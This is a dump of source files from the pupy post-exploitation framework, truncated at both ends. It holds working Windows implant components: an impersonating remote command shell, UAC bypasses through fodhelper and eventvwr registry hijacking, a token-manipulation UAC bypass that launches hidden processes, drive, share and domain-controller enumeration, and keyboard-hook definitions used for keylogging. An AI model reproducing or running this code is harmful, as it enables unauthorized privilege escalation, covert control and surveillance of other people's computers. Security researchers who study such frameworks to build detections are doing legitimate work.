int(rid)\n\n    powershell = pupy.agent.manager.get(PowerHost)\n    if not powershell:\n        raise PowerHostUninitialized()\n\n    if not loaded(name):\n        PowershellContextUnregistered()\n\n    results = powershell.results\n    if name not in results or rid not in results[name]:\n        return None\n\n    result = results[name][rid]\n    del results[name][rid]\n\n    return result\n\n\ndef get_results():\n    powershell = pupy.agent.manager.get(PowerHost)\n    if not powershell:\n        raise PowerHostUninitialized()\n\n    return {\n        ctx: tuple(results)\n        for ctx, results in powershell.results.items()\n    }\n\n\n@property\ndef results():\n    return get_results()\n\n\ndef stop():\n    pupy.agent.manager.stop(PowerHost)\n"
  },
  {
    "path": "pupy/packages/windows/all/ptyshell.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = ['acquire', 'release']\n\ntry:\n    from conpty import ConPTY as PTY\nexcept ImportError:\n    from winpty import WinPTY as PTY\n\nfrom collections import deque\nfrom pupy.agent import manager, Task\nfrom pupy.network.lib.pupyrpc import nowait\n\nfrom pupwinutils.security import (\n    sidbyname, getSidToken, get_thread_token,\n    token_impersonated_as_system, EnablePrivilege,\n    CloseHandle\n)\n\n\nclass PtyShell(Task):\n    __slots__ = (\n        'pty', 'argv', 'term', 'htoken',\n        'read_cb', 'close_cb', '_buffer'\n    )\n\n    def __init__(self, manager, argv=None, term=None, htoken=None):\n        super(PtyShell, self).__init__(manager)\n\n        self.pty = None\n\n        self.argv = argv\n        self.term = term\n        self.htoken = htoken\n\n        self.read_cb = None\n        self.close_cb = None\n\n        self._buffer = deque(maxlen=50)\n\n    def write(self, data):\n        if not self.pty:\n            return\n\n        self.pty.write(data)\n\n    def set_pty_size(self, ws_row, ws_col, ws_xpixel, ws_ypixel):\n        if not self.pty:\n            return\n\n        self.pty.resize(ws_col, ws_row)\n\n    def attach(self, read_cb, close_cb):\n        if self.active:\n            self.read_cb = nowait(read_cb)\n            self.close_cb = nowait(close_cb)\n\n            if self._buffer:\n                for item in self._buffer:\n                    self.read_cb(item)\n        else:\n            close_cb()\n\n    def detach(self):\n        self.read_cb = None\n        self.close_cb = None\n\n    def task(self):\n\n        argv = self.argv\n        if not argv:\n            argv = r'C:\\windows\\system32\\cmd.exe'\n\n        try:\n            self.pty = PTY(\n                argv, htoken=self.htoken)\n\n            self.pty.read_loop(self._on_read_data)\n\n        finally:\n            try:\n                self.stop()\n            except:\n                pass\n\n            try:\n                if self.close_cb:\n                    self.close_cb()\n            except:\n                pass\n\n    def _on_read_data(self, data):\n        self._buffer.append(data)\n\n        if self.read_cb:\n            self.read_cb(data)\n\n    def stop(self):\n        try:\n            super(PtyShell, self).stop()\n        finally:\n            self.close()\n\n    def close(self):\n        if not self.pty:\n            return\n\n        self.pty.close()\n        self.pty = None\n\n\ndef acquire(argv=None, term=None, suid=None):\n    shell = manager.get(PtyShell)\n\n    new = False\n    if not (shell and shell.active):\n        htoken = None\n        hCurrentToken = None\n\n        if suid:\n            sid = None\n            if suid.startswith('S-1-'):\n                sid = suid\n            else:\n                sid = sidbyname(suid)\n\n                if not sid:\n                    raise ValueError(\n                        'Unknown username {}'.format(\n                            suid.encode('utf-8')))\n\n            hSidToken = getSidToken(sid)\n            if hSidToken is None:\n                raise ValueError(\"Couldn't impersonate sid {}\".format(sid))\n\n            hCurrentToken = get_thread_token()\n            if not token_impersonated_as_system(hCurrentToken):\n                try:\n                    EnablePrivilege('SeImpersonatePrivilege')\n                except ValueError:\n                    raise ValueError('Impersonate control thread as SYSTEM first')\n\n            htoken = (hCurrentToken, hSidToken)\n\n        try:\n            shell = manager.create(\n                PtyShell,\n                argv, term, htoken)\n        finally:\n            if hCurrentToken:\n                CloseHandle(hCurrentToken)\n\n        new = True\n\n    return new, shell\n\ndef release():\n    manager.stop(PtyShell)\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/__init__.py",
    "content": ""
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/bypassuac_registry.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom _winreg import (\n    ConnectRegistry, OpenKey, CreateKey, SetValueEx,\n    DeleteKey, CloseKey,\n    HKEY_CURRENT_USER, KEY_SET_VALUE, KEY_WRITE,\n    REG_SZ\n)\n\nimport subprocess\nimport ctypes\nimport time\nimport os\n\ndef registry_hijacking_fodhelper(cmd, params=\"\"):\n\n    HKCU            = ConnectRegistry(None, HKEY_CURRENT_USER)\n    fodhelperPath   = r'Software\\Classes\\ms-settings\\Shell\\Open\\command'\n\n    if params:\n        cmd = '%s %s'.strip() % (cmd, params)\n\n    try:\n        # The registry key already exist in HKCU, altering...\n        OpenKey(HKCU, fodhelperPath, KEY_SET_VALUE)\n    except:\n        # Adding the registry key in HKCU\n        CreateKey(HKCU, fodhelperPath)\n\n    registry_key = OpenKey(HKCU, fodhelperPath, 0, KEY_WRITE)\n    SetValueEx(registry_key, 'DelegateExecute', 0, REG_SZ, \"\")\n    SetValueEx(registry_key, '', 0, REG_SZ, cmd)\n    CloseKey(registry_key)\n\n    # Creation fodhelper.exe path\n    triggerPath = os.path.join(os.environ['WINDIR'],'System32','fodhelper.exe')\n    # Disables file system redirection for the calling thread (File system redirection is enabled by default)\n    wow64 = ctypes.c_long(0)\n    ctypes.windll.kernel32.Wow64DisableWow64FsRedirection(ctypes.byref(wow64))\n    # Executing fodhelper.exe\n    subprocess.check_output(triggerPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True)\n    # Enable file system redirection for the calling thread\n    ctypes.windll.kernel32.Wow64EnableWow64FsRedirection(wow64)\n\n    # Sleeping 5 secds...\n    time.sleep(5)\n\n    # Clean everything\n    DeleteKey(HKCU, fodhelperPath)\n\n\ndef registry_hijacking_eventvwr(cmd, params=\"\"):\n    #   '''\n    #   Based on Invoke-EventVwrBypass, thanks to enigma0x3 (https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/)\n    #   '''\n    HKCU = ConnectRegistry(None, HKEY_CURRENT_USER)\n    mscCmdPath = r'Software\\Classes\\mscfile\\shell\\open\\command'\n\n    if params:\n        cmd = '%s %s'.strip() % (cmd, params)\n\n    try:\n        # The registry key already exist in HKCU, altering...\n        registry_key = OpenKey(HKCU, mscCmdPath, KEY_SET_VALUE)\n    except:\n        # Adding the registry key in HKCU\n        registry_key = CreateKey(HKCU, mscCmdPath)\n\n    SetValueEx(registry_key, '', 0, REG_SZ, cmd)\n    CloseKey(registry_key)\n\n    # Executing eventvwr.exe\n    eventvwrPath = os.path.join(os.environ['WINDIR'],'System32','eventvwr.exe')\n    subprocess.check_output(eventvwrPath, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True)\n\n    # Sleeping 5 secds...\n    time.sleep(5)\n\n    #Clean everything\n    DeleteKey(HKCU, mscCmdPath)\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/bypassuac_token_imp.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n# Code inspired from the C code of the UACME projet\n\n# Author: CIA & James Forshaw\n# Method: Token Manipulations\n# Works from: Windows 7 (7600)\n# Fixed in: unfixed\n\nfrom ctypes import (\n    c_void_p, c_wchar_p, Structure, POINTER, c_ulong, c_int, c_char_p,\n    c_byte, windll, sizeof, addressof, byref, WinError\n)\nfrom ctypes.wintypes import (\n    HANDLE, BOOL, DWORD, HWND,\n    HINSTANCE, HKEY, ULONG, USHORT, LPSTR, WORD\n)\nfrom random import randint\nimport os\n\n# one of these auto elevated process will be used randomly\nAUTOELEVATED_EXE                = [\n    # 'C:\\\\Windows\\\\System32\\\\Sysprep\\\\sysprep.exe',    # check with win10\n    # 'C:\\\\Windows\\\\System32\\\\winsat.exe',              # check with win10\n    'C:\\\\Windows\\\\System32\\\\wusa.exe',\n    # 'C:\\\\Windows\\\\System32\\\\oobe\\\\setupsqm.exe',\n    # 'C:\\\\Windows\\\\System32\\\\migwiz\\\\migwiz.exe',      # check with win10\n    # 'C:\\\\Windows\\\\System32\\\\cliconfg.exe'\n]\n\nLPVOID                          = c_void_p\nPVOID                           = LPVOID\nPSID                            = PVOID\nLPCWSTR                         = c_wchar_p\nLPWSTR                          = c_wchar_p\nPWSTR                           = c_wchar_p\n\nTokenImpersonation              = 2\nThreadImpersonationToken        = 5\nSecurityImpersonation           = 2\nTokenPrimary                    = 1\nTokenIntegrityLevel             = 25\n\nSW_SHOW                         = 5\nSW_HIDE                         = 0\nSTARTF_USESHOWWINDOW            = 0x00000001\nSEE_MASK_NOCLOSEPROCESS         = 0x00000040\nSTATUS_SUCCESS                  = 0x00000000\n\nINVALID_HANDLE_VALUE            = c_void_p(-1).value\nSECURITY_MANDATORY_MEDIUM_RID   = 0x00002000\nSE_GROUP_INTEGRITY              = 0x00000020\nLUA_TOKEN                       = 0x4\nLOGON_NETCREDENTIALS_ONLY       = 0x00000002\n\nMAXIMUM_ALLOWED                 = 0x02000000\nREAD_CONTROL                    = 0x00020000\nSTANDARD_RIGHTS_READ            = READ_CONTROL\nSTANDARD_RIGHTS_REQUIRED        = 0x000F0000\nTOKEN_ASSIGN_PRIMARY            = 0x0001\nTOKEN_DUPLICATE                 = 0x0002\nTOKEN_IMPERSONATE               = 0x0004\nTOKEN_QUERY                     = 0x0008\nTOKEN_QUERY_SOURCE              = 0x0010\nTOKEN_ADJUST_PRIVILEGES         = 0x0020\nTOKEN_ADJUST_GROUPS             = 0x0040\nTOKEN_ADJUST_DEFAULT            = 0x0080\nTOKEN_ADJUST_SESSIONID          = 0x0100\nTOKEN_READ                      = (STANDARD_RIGHTS_READ | TOKEN_QUERY)\ntokenprivs                      = (\n    TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | \\\n    TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4))\nTOKEN_ALL_ACCESS                = (\n    STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | \\\n    TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | \\\n    TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | \\\n    TOKEN_ADJUST_SESSIONID)\n\nclass UNICODE_STRING(Structure):\n    _fields_ = [\n        ('Length',          USHORT),\n        ('MaximumLength',   USHORT),\n        ('Buffer',          PWSTR),\n    ]\nPUNICODE_STRING = POINTER(UNICODE_STRING)\n\nclass ShellExecuteInfo(Structure):\n    _fields_ = [\n        ('cbSize',          DWORD),\n        ('fMask',           c_ulong),\n        ('hwnd',            HWND),\n        ('lpVerb',          c_char_p),\n        ('lpFile',          c_char_p),\n        ('lpParameters',    c_char_p),\n        ('lpDirectory',     c_char_p),\n        ('nShow',           c_int),\n        ('hInstApp',        HINSTANCE),\n        ('lpIDList',        c_void_p),\n        ('lpClass',         c_char_p),\n        ('hKeyClass',       HKEY),\n        ('dwHotKey',        DWORD),\n        ('hIcon',           HANDLE),\n        ('hProcess',        HANDLE)\n    ]\nPShellExecuteInfo = POINTER(ShellExecuteInfo)\n\nclass SID_IDENTIFIER_AUTHORITY(Structure):\n    _fields_ = [\n        (\"byte0\", c_byte),\n        (\"byte1\", c_byte),\n        (\"byte2\", c_byte),\n        (\"byte3\", c_byte),\n        (\"byte4\", c_byte),\n        (\"byte5\", c_byte),\n    ]\nPSID_IDENTIFIER_AUTHORITY = POINTER(SID_IDENTIFIER_AUTHORITY)\n\n\nclass SID_AND_ATTRIBUTES(Structure):\n    _fields_ = [\n        ('Sid',         LPVOID),\n        ('Attributes',  DWORD),\n    ]\n\nclass TOKEN_MANDATORY_LABEL(Structure):\n    _fields_ = [\n        ('Label', SID_AND_ATTRIBUTES),\n    ]\nPTOKEN_MANDATORY_LABEL = POINTER(TOKEN_MANDATORY_LABEL)\n\nclass SECURITY_QUALITY_OF_SERVICE(Structure):\n    _fields_ = [\n        (\"Length\",              DWORD),\n        (\"ImpersonationLevel\",  DWORD),\n        (\"ContextTrackingMode\", DWORD),\n        (\"EffectiveOnly\",       BOOL)\n]\nPSECURITY_QUALITY_OF_SERVICE = POINTER(SECURITY_QUALITY_OF_SERVICE)\n\nclass OBJECT_ATTRIBUTES(Structure):\n    _fields_ = [\n        (\"Length\",                      ULONG),\n        (\"RootDirectory\",               HANDLE),\n        (\"ObjectName\",                  PUNICODE_STRING),\n        (\"Attributes\",                  ULONG),\n        (\"SecurityDescriptor\",          PVOID),\n        (\"SecurityQualityOfService\",    PVOID)\n]\nPOBJECT_ATTRIBUTES = POINTER(OBJECT_ATTRIBUTES)\n\n\nclass STARTUPINFO(Structure):\n    _fields_ = [\n        ('cb',              DWORD),\n        ('lpReserved',      LPSTR),\n        ('lpDesktop',       LPSTR),\n        ('lpTitle',         LPSTR),\n        ('dwX',             DWORD),\n        ('dwY',             DWORD),\n        ('dwXSize',         DWORD),\n        ('dwYSize',         DWORD),\n        ('dwXCountChars',   DWORD),\n        ('dwYCountChars',   DWORD),\n        ('dwFillAttribute', DWORD),\n        ('dwFlags',         DWORD),\n        ('wShowWindow',     WORD),\n        ('cbReserved2',     WORD),\n        ('lpReserved2',     LPVOID),    # LPBYTE\n        ('hStdInput',       HANDLE),\n        ('hStdOutput',      HANDLE),\n        ('hStdError',       HANDLE),\n    ]\nPSTARTUPINFO = POINTER(STARTUPINFO)\n\nclass PROCESS_INFORMATION(Structure):\n    _fields_ = [\n        ('hProcess',    HANDLE),\n        ('hThread',     HANDLE),\n        ('dwProcessId', DWORD),\n        ('dwThreadId',  DWORD),\n    ]\nPPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION)\n\n# shell32\n\nShellExecuteEx                          = windll.shell32.ShellExecuteExA\nShellExecuteEx.argtypes                 = (PShellExecuteInfo, )\nShellExecuteEx.restype                  = BOOL\n\n# advapi\n\nOpenProcessToken                        = windll.advapi32.OpenProcessToken\nOpenProcessToken.argtypes               = (HANDLE, DWORD, POINTER(HANDLE))\nOpenProcessToken.restype                = BOOL\n\nDuplicateTokenEx                        = windll.advapi32.DuplicateTokenEx\nDuplicateTokenEx.restype                = BOOL\nDuplicateTokenEx.argtypes               = [HANDLE, DWORD, POBJECT_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]\n\nCreateProcessWithLogonW                 = windll.advapi32.CreateProcessWithLogonW\nCreateProcessWithLogonW.restype         = BOOL\nCreateProcessWithLogonW.argtypes        = [LPCWSTR, LPCWSTR, LPCWSTR, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, PSTARTUPINFO, PPROCESS_INFORMATION]\n\nSetTokenInformation                     = windll.advapi32.SetTokenInformation\nSetTokenInformation.restype             = BOOL\nSetTokenInformation.argtypes            = [HANDLE, DWORD, PTOKEN_MANDATORY_LABEL, DWORD]\n\n# kernel32\n\nGetCurrentThread                        = windll.kernel32.GetCurrentThread\nGetCurrentThread.restype                = HANDLE\nGetCurrentThread.argtypes               = []\n\nGetStartupInfo                          = windll.kernel32.GetStartupInfoW\nGetStartupInfo.restype                  = PVOID\nGetStartupInfo.argtypes                 = [PSTARTUPINFO]\n\nCloseHandle                             = windll.kernel32.CloseHandle\nCloseHandle.restype                     = BOOL\nCloseHandle.argtypes                    = [HANDLE]\n\n# ntdll\n\nRtlAllocateAndInitializeSid             = windll.ntdll.RtlAllocateAndInitializeSid\nRtlAllocateAndInitializeSid.restype     = BOOL\nRtlAllocateAndInitializeSid.argtypes    = [PSID_IDENTIFIER_AUTHORITY, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, POINTER(PSID)]\n\nNtOpenProcessToken                      = windll.ntdll.NtOpenProcessToken\nNtOpenProcessToken.restype              = BOOL\nNtOpenProcessToken.argtypes             = [HANDLE, DWORD, POINTER(HANDLE)]\n\nNtSetInformationToken                   = windll.ntdll.NtSetInformationToken\nNtSetInformationToken.restype           = BOOL\nNtSetInformationToken.argtypes          = [HANDLE, DWORD, PTOKEN_MANDATORY_LABEL, DWORD]\n\nRtlLengthSid                            = windll.ntdll.RtlLengthSid\nRtlLengthSid.restype                    = DWORD\nRtlLengthSid.argtypes                   = [PSID]\n\nNtFilterToken                           = windll.ntdll.NtFilterToken\nNtFilterToken.restype                   = BOOL\nNtFilterToken.argtypes                  = [HANDLE, DWORD, PVOID, PVOID, PVOID, POINTER(HANDLE)]\n\nNtDuplicateToken                        = windll.ntdll.NtDuplicateToken\nNtDuplicateToken.restype                = BOOL\nNtDuplicateToken.argtypes               = [HANDLE, DWORD, POBJECT_ATTRIBUTES, BOOL, DWORD, POINTER(HANDLE)]\n\nNtSetInformationThread                  = windll.ntdll.NtSetInformationThread\nNtSetInformationThread.restype          = BOOL\nNtSetInformationThread.argtypes         = [HANDLE, DWORD, POINTER(HANDLE), DWORD]\n\nNtClose                                 = windll.ntdll.NtClose\nNtClose.restype                         = BOOL\nNtClose.argtypes                        = [HANDLE]\n\nNtTerminateProcess                      = windll.ntdll.NtTerminateProcess\nNtTerminateProcess.restype              = BOOL\nNtTerminateProcess.argtypes             = [HANDLE, DWORD]\n\nRtlFreeSid                              = windll.ntdll.RtlFreeSid\nRtlFreeSid.restype                      = PVOID\nRtlFreeSid.argtypes                     = [PSID]\n\ndef NT_SUCCESS(status):\n    return status >= 0\n\n############# main #############\n\ndef find_exe_to_use():\n    while True:\n        method = randint(0, len(AUTOELEVATED_EXE) -1)\n        if os.path.exists(AUTOELEVATED_EXE[method]):\n            return AUTOELEVATED_EXE[method]\n        else:\n            del AUTOELEVATED_EXE[method]\n\n        # no auto elevated executable found\n        if not AUTOELEVATED_EXE:\n            return []\n\ndef bypass_uac(autoelevated_exe, lpApplicationName, param):\n\n    ###### Run autoelevated app (any) ######\n    shinfo          = ShellExecuteInfo()\n    shinfo.cbSize   = sizeof(shinfo)\n    shinfo.fMask    = SEE_MASK_NOCLOSEPROCESS\n    shinfo.lpFile   = autoelevated_exe\n    shinfo.nShow    = SW_HIDE\n\n    if not ShellExecuteEx(byref(shinfo)):\n        raise WinError()\n\n    ###### Open token of elevated process. ######\n\n    hProcessToken = HANDLE(INVALID_HANDLE_VALUE)\n    if not NT_SUCCESS(NtOpenProcessToken(shinfo.hProcess, MAXIMUM_ALLOWED, byref(hProcessToken))):\n        raise WinError()\n\n    ###### Duplicate primary token ######\n\n    sqos                        = SECURITY_QUALITY_OF_SERVICE()\n    sqos.Length                 = sizeof(SECURITY_QUALITY_OF_SERVICE)\n    sqos.ImpersonationLevel     = SecurityImpersonation\n    sqos.ContextTrackingMode    = 0\n    sqos.EffectiveOnly          = False\n\n    obja                        = OBJECT_ATTRIBUTES()\n    obja.Length                 = sizeof(OBJECT_ATTRIBUTES)\n    obja.ObjectName             = None\n    obja.Attributes             = 0\n    obja.RootDirectory          = None\n    obja.SecurityDescriptor     = None\n    obja.SecurityQualityOfService = addressof(sqos)\n\n    hTokendupe = HANDLE(INVALID_HANDLE_VALUE)\n    if not NT_SUCCESS(DuplicateTokenEx(hProcessToken, TOKEN_ALL_ACCESS, byref(obja), False, TokenPrimary, byref(hTokendupe))):\n        raise WinError()\n\n    ###### Lower duplicated token IL from High to Medium. ######\n\n    mlAuthority = SID_IDENTIFIER_AUTHORITY()\n\n    # SECURITY_MANDATORY_LABEL_AUTHORITY\n    mlAuthority.byte0 = 0x00\n    mlAuthority.byte1 = 0x00\n    mlAuthority.byte2 = 0x00\n    mlAuthority.byte3 = 0x00\n    mlAuthority.byte4 = 0x00\n    mlAuthority.byte5 = 0x10\n\n    pIntegritySid = PSID()\n    if not NT_SUCCESS(RtlAllocateAndInitializeSid(\n            byref(mlAuthority),\n            1, SECURITY_MANDATORY_MEDIUM_RID,\n            0, 0, 0, 0, 0, 0, 0,\n            byref(pIntegritySid))):\n        raise WinError()\n\n    tml = TOKEN_MANDATORY_LABEL()\n    tml.Label.Attributes = SE_GROUP_INTEGRITY\n    tml.Label.Sid = pIntegritySid\n    if not NT_SUCCESS(NtSetInformationToken(hTokendupe, TokenIntegrityLevel, byref(tml), sizeof(TOKEN_MANDATORY_LABEL) + RtlLengthSid(pIntegritySid))):\n        raise WinError()\n\n    ###### Create restricted token. ######\n\n    hLuaToken = HANDLE(INVALID_HANDLE_VALUE)\n    if not NT_SUCCESS(NtFilterToken(hTokendupe, LUA_TOKEN, None, None, None, byref(hLuaToken))):\n        raise WinError()\n\n    ###### Impersonate logged on user. ######\n\n    hImpToken = HANDLE(INVALID_HANDLE_VALUE)\n    if not NT_SUCCESS(DuplicateTokenEx(hLuaToken, TOKEN_IMPERSONATE | TOKEN_QUERY, byref(obja), 2, TokenImpersonation, byref(hImpToken))):\n        raise WinError()\n\n    if not NT_SUCCESS(NtSetInformationThread(GetCurrentThread(), ThreadImpersonationToken, byref(hImpToken), sizeof(HANDLE))):\n        raise WinError()\n\n    NtClose(hImpToken)\n    hImpToken = None\n\n    ###### Run target ######\n\n    pi = PROCESS_INFORMATION()\n    si = STARTUPINFO()\n\n    si.cb = sizeof(si)\n    GetStartupInfo(byref(si))\n\n    si.dwFlags = STARTF_USESHOWWINDOW\n    # si.wShowWindow = SW_SHOW\n    si.wShowWindow = SW_HIDE\n\n    bResult = CreateProcessWithLogonW(\n                u\"uac\",\n                u\"is\",\n                u\"useless\",\n                LOGON_NETCREDENTIALS_ONLY,\n                lpApplicationName,\n                param,\n                0,\n                None,\n                None,\n                byref(si),\n                byref(pi)\n            )\n\n    if bResult:\n        if pi.hThread:\n            CloseHandle(pi.hThread)\n\n        if pi.hProcess:\n            CloseHandle(pi.hProcess)\n\n    ######  Revert to self ######\n\n    hImpToken = HANDLE(INVALID_HANDLE_VALUE)\n    # should be fixed, the error code return is not correct but does not affect the result so let's continue\n    NtSetInformationThread(GetCurrentThread(), ThreadImpersonationToken, byref(hImpToken), sizeof(HANDLE))\n\n    if hImpToken:\n        NtClose(hImpToken)\n\n    if hProcessToken:\n        NtClose(hProcessToken)\n\n    if hTokendupe:\n        NtClose(hTokendupe)\n\n    if hLuaToken:\n        NtClose(hLuaToken)\n\n    if shinfo.hProcess:\n        NtTerminateProcess(shinfo.hProcess, STATUS_SUCCESS)\n        NtClose(shinfo.hProcess)\n\n    if pIntegritySid:\n        RtlFreeSid(pIntegritySid)\n\n    return True\n\n\ndef run_bypass_uac_using_token_impersonation(cmd, param):\n\n    exe = find_exe_to_use()\n    if not exe:\n        return False\n    else:\n        return bypass_uac(exe, cmd, param)\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/drives.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport wql\n\ndef sizeof_fmt(num, suffix='B'):\n    try:\n        num = int(num)\n        for unit in ['','Ki','Mi','Gi','Ti','Pi','Ei','Zi']:\n            if abs(num) < 1024.0:\n                return \"%3.1f %s%s\" % (num, unit, suffix)\n            num /= 1024.0\n        return \"%.1f %s%s\" % (num, 'Yi', suffix)\n    except:\n        return '0.00 B'\n\n# Drive types explaination\n# 0 => The drive type cannot be determined.\n# 1 => The root path is invalid; for example, there is no volume mounted at the specified path.\n# 2 => The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.\n# 3 => The drive has fixed media; for example, a hard disk drive or flash drive.\n# 4 => The drive is a remote (network) drive.\n# 5 => The drive is a CD-ROM drive.\n# 6 => The drive is a RAM disk.\n\nDRIVE_TYPES = (\n    'unknown',\n    'no_root',\n    'removable',\n    'fixed',\n    'remote',\n    'cdrom',\n    'ramdisk'\n)\n\nWQL_DRIVES_QUERY = 'SELECT Name,DriveType,Size,FreeSpace,ProviderName FROM Win32_LogicalDisk'\nWQL_SHARES_QUERY = 'SELECT * FROM Win32_Share Where Type=0'\n\ndef list_drives():\n    output = []\n\n    for disk in wql.execute(WQL_DRIVES_QUERY):\n        unc_path = ''\n        if disk.ProviderName:\n            unc_path = disk.ProviderName\n\n        name = disk.Name + '\\\\'\n        driveType = DRIVE_TYPES[int(disk.DriveType)]\n        size = sizeof_fmt(disk.Size)\n        free = sizeof_fmt(disk.FreeSpace)\n\n        output.append((\n            name, driveType, size, free, unc_path\n        ))\n\n    return tuple(output)\n\ndef shared_folders():\n    shared = wql.execute(WQL_SHARES_QUERY)\n    if not shared:\n        return ''\n\n    return tuple(\n        (item.Name, item.Path) for item in shared\n    )\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/getdomain.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom _winreg import (\n    ConnectRegistry, HKEY_LOCAL_MACHINE,\n    OpenKey, QueryValueEx, CloseKey\n)\n\ndef get_domain_controller():\n\n    aReg = ConnectRegistry(None, HKEY_LOCAL_MACHINE)\n    keypath = r\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\History\\\\\"\n    subkey_name = 'DCName'\n    try:\n        aKey = OpenKey(aReg, keypath)\n        val, _ = QueryValueEx(aKey, subkey_name)\n        CloseKey(aKey)\n        return val\n    except:\n        return False\n"
  },
  {
    "path": "pupy/packages/windows/all/pupwinutils/hookfuncs.py",
    "content": "# -*- encoding: utf-8 -*-\n\n# Place to store various bindings, wrappers, etc\n# Reason: to avoid duplication of prototypes\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom ctypes import (\n    byref, WinDLL, WinError, sizeof, pointer,\n    c_int, c_ulong, c_void_p, c_wchar_p, c_uint,\n    CFUNCTYPE, cast,\n    c_void_p as LPRECT,\n    c_void_p as PSID,\n    create_string_buffer,\n    create_unicode_buffer,\n    Structure,\n    POINTER,\n    WINFUNCTYPE\n)\n\nfrom ctypes.wintypes import (\n    BOOL, DOUBLE, DWORD, HBITMAP, HINSTANCE, HDC, HGDIOBJ, HANDLE,\n    HWND, INT, LPARAM, LONG, RECT, UINT, WORD, HMODULE, HHOOK, POINT,\n    LPCWSTR, WPARAM, LPVOID, LPSTR, LPWSTR, BYTE, WCHAR, SHORT,\n    WPARAM as ULONG_PTR,\n    LPARAM as LRESULT,\n)\n\nclass MSG(Structure):\n    _fields_ = [\n        (\"hWnd\", HWND),\n        (\"message\", c_uint),\n        (\"wParam\", WPARAM),\n        (\"lParam\", LPARAM),\n        (\"time\", DWORD),\n        (\"pt\", POINT),\n        (\"private\", DWORD)\n    ]\n\n\n# consts\nWH_MOUSE_LL   = 14\nWM_MOUSEFIRST = 0x0200\n\nSM_XVIRTUALSCREEN  = 76\nSM_YVIRTUALSCREEN  = 77\nSM_CXVIRTUALSCREEN = 78\nSM_CYVIRTUALSCREEN = 79\nSRCCOPY            = 0xCC0020  # Code de copie pour la fonction BitBlt()##\nDIB_RGB_COLORS     = 0\n\nWM_KEYDOWN      = 0x0100\nWM_KEYUP        = 0x0101\nWM_SYSKEYDOWN   = 0x0104\nWM_SYSKEYUP     = 0x0105\nWH_KEYBOARD_LL  = 13\nVK_CAPITAL      = 0x14 # CAPITAL key\nVK_SHIFT        = 0x10 # SHIFT key\nVK_LSHIFT       = 0xA0 # LSHIFT key\nVK_RSHIFT       = 0xA1 # RSHIFT key\nVK_CONTROL      = 0x11 # CTRL key\nVK_LCONTROL     = 0xA2 # LCTRL key\nVK_RCONTROL     = 0xA3 # RCTRL key\nVK_MENU         = 0x12 # ALT key\nVK_LMENU        = 0xA4 # ALT key\nVK_RMENU        = 0xA5 # ALT+GR key\nVK_RETURN       = 0x0D # ENTER key\nVK_ESCAPE       = 0x1B\nVK_LWIN         = 0x5B\nVK_RWIN         = 0x5C\n\n# typedefs\nLPMSG     = POINTER(MSG)\n\ndef LOWORD(x):\n    return x & 0xffff\n\n# trampolines\nHOOKPROC = WINFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)\nLOWLEVELKEYBOARDPROC = CFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)\nMONITORENUMPROC = WINFUNCTYPE(INT, DWORD, DWORD,\n                              POINTER(RECT), DOUBLE)\n# structures\n\nclass KBDLLHOOKSTRUCT(Structure):\n    _fields_ = [\n        ('vkCode',      DWORD),\n        ('scanCode',    DWORD),\n        ('flags',       DWORD),\n        ('time',        DWORD),\n        ('dwExtraInfo', ULONG_PTR)\n    ]\n\nclass BITMAPINFOHEADER(Structure):\n    _fields_ = [\n        ('biSize',          DWORD),\n        ('biWidth',         LONG),\n        ('biHeight',        LONG),\n        ('biPlanes',        WORD),\n        ('biBitCount',      WORD),\n        ('biCompression',   DWORD),\n        ('biSizeImage',     DWORD),\n        ('biXPelsPerMeter', LONG),\n        ('biYPelsPerMeter', LONG),\n        ('biClrUsed',       DWORD),\n        ('biClrImportant',  DWORD)\n    ]\n\nclass BITMAPINFO(Structure):\n    _fields_ = [\n        ('bmiHeader', BITMAPINFOHEADER),\n        ('bmiColors', DWORD * 3)\n    ]\n\nclass POINT(Structure):\n    _fields_ = [(\"x\", c_ulong), (\"y\", c_ulong)]\n\n\n# libs\nuser32   = WinDLL('user32')\nkernel32 = WinDLL('kernel32')\ngdi32    = WinDLL('gdi32')\npsapi    = WinDLL('psapi')\n\n# prototypes\nGetForegroundWindow = user32.GetForegroundWindow\nGetForegroundWindow.restype = HWND\nGetForegroundWindow.argtypes = []\n\nGetCurrentProcess          = kernel32.GetCurrentProcess\nGetCurrentProcess.restype  = HANDLE\nGetCurrentProcess.argtypes = []\n\nGetCurrentProcessId          = 